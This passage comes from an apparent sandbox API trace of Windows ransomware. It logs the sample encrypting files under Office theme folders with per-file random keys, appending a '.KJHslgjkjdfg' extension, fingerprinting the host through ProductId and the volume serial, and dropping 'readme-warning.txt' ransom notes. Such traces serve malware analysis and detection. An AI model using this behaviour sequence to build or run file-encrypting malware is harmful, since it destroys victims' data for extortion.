(in: hFile=0x114, liDistanceToMove=0x5e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.545] SetEndOfFile (hFile=0x114) returned 1 [0172.548] GetProcessHeap () returned 0x2ef0000 [0172.548] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.548] GetProcessHeap () returned 0x2ef0000 [0172.548] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.548] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.kjhslgjkjdfg")) returned 1 [0172.550] CloseHandle (hObject=0x114) returned 1 [0172.550] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0172.550] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.550] GetProcessHeap () returned 0x2ef0000 [0172.551] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.551] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.551] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.551] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xd, lpOverlapped=0x0) returned 1 [0172.554] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.554] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.554] GetProcessHeap () returned 0x2ef0000 [0172.554] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.555] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.555] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.555] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.555] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.555] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.555] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.555] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.555] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.555] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.555] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.556] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.556] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6fb3, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x6fb3, lpOverlapped=0x0) returned 1 [0172.560] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x6fc0, dwBufLen=0x6fc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x6fc0) returned 1 [0172.560] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.560] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6fc0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x6fc0, lpOverlapped=0x0) returned 1 [0172.561] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.561] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.561] SetEndOfFile (hFile=0x114) returned 1 [0172.564] GetProcessHeap () returned 0x2ef0000 [0172.564] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.564] GetProcessHeap () returned 0x2ef0000 [0172.564] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.564] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0172.567] CloseHandle (hObject=0x114) returned 1 [0172.568] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0172.568] GetProcessHeap () returned 0x2ef0000 [0172.568] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.568] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.568] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0172.568] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.568] GetProcessHeap () returned 0x2ef0000 [0172.568] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0172.568] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.568] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0172.568] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.568] GetProcessHeap () returned 0x2ef0000 [0172.568] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f47728 [0172.568] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.568] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f47728, pdwDataLen=0x4dfee20 | out: pbData=0x2f47728, pdwDataLen=0x4dfee20) returned 1 [0172.568] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.568] GetProcessHeap () returned 0x2ef0000 [0172.568] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0172.569] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.569] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0172.569] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.569] GetProcessHeap () returned 0x2ef0000 [0172.569] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0172.569] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.569] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0172.569] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.569] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x114) returned 0x0 [0172.569] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0172.569] RegCloseKey (hKey=0x114) returned 0x0 [0172.569] GetProcessHeap () returned 0x2ef0000 [0172.569] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0172.569] GetProcessHeap () returned 0x2ef0000 [0172.569] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0172.569] GetProcessHeap () returned 0x2ef0000 [0172.569] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0172.570] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.570] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0172.570] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.570] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0172.570] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0172.570] GetProcessHeap () returned 0x2ef0000 [0172.570] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0172.570] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0172.570] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0172.570] GetProcessHeap () returned 0x2ef0000 [0172.570] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f406c8 [0172.570] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\readme-warning.txt") returned 83 [0172.570] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.572] WriteFile (in: hFile=0x114, lpBuffer=0x2f406c8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f406c8*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0172.573] CloseHandle (hObject=0x114) returned 1 [0172.573] GetProcessHeap () returned 0x2ef0000 [0172.573] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0172.573] GetProcessHeap () returned 0x2ef0000 [0172.573] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f406c8 | out: hHeap=0x2ef0000) returned 1 [0172.573] GetProcessHeap () returned 0x2ef0000 [0172.573] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0172.573] GetProcessHeap () returned 0x2ef0000 [0172.573] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.574] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0172.574] GetProcessHeap () returned 0x2ef0000 [0172.574] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0172.574] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0172.574] GetProcessHeap () returned 0x2ef0000 [0172.574] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x92) returned 0x2f170f8 [0172.574] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0172.574] GetProcessHeap () returned 0x2ef0000 [0172.574] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170f8 | out: hHeap=0x2ef0000) returned 1 [0172.574] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0172.574] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1 [0172.574] GetProcessHeap () returned 0x2ef0000 [0172.574] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x294) returned 0x2f3e278 [0172.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.576] GetProcessHeap () returned 0x2ef0000 [0172.576] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.576] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.576] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.576] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.579] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.579] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.579] GetProcessHeap () returned 0x2ef0000 [0172.579] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.579] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.579] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.579] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.579] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.579] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.579] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.579] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.579] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.580] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.580] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.580] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.580] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x116dc, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x116dc, lpOverlapped=0x0) returned 1 [0172.582] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x116e0, dwBufLen=0x116e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x116e0) returned 1 [0172.583] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.583] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x116e0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x116e0, lpOverlapped=0x0) returned 1 [0172.583] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.583] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x117b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.583] SetEndOfFile (hFile=0x114) returned 1 [0172.586] GetProcessHeap () returned 0x2ef0000 [0172.586] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.586] GetProcessHeap () returned 0x2ef0000 [0172.586] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.586] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm.kjhslgjkjdfg")) returned 1 [0172.591] CloseHandle (hObject=0x114) returned 1 [0172.591] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DEEPBLUE.INF", cAlternateFileName="")) returned 1 [0172.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.592] GetProcessHeap () returned 0x2ef0000 [0172.592] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.592] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.592] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.592] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x7, lpOverlapped=0x0) returned 1 [0172.594] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.594] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.594] GetProcessHeap () returned 0x2ef0000 [0172.594] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.594] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, 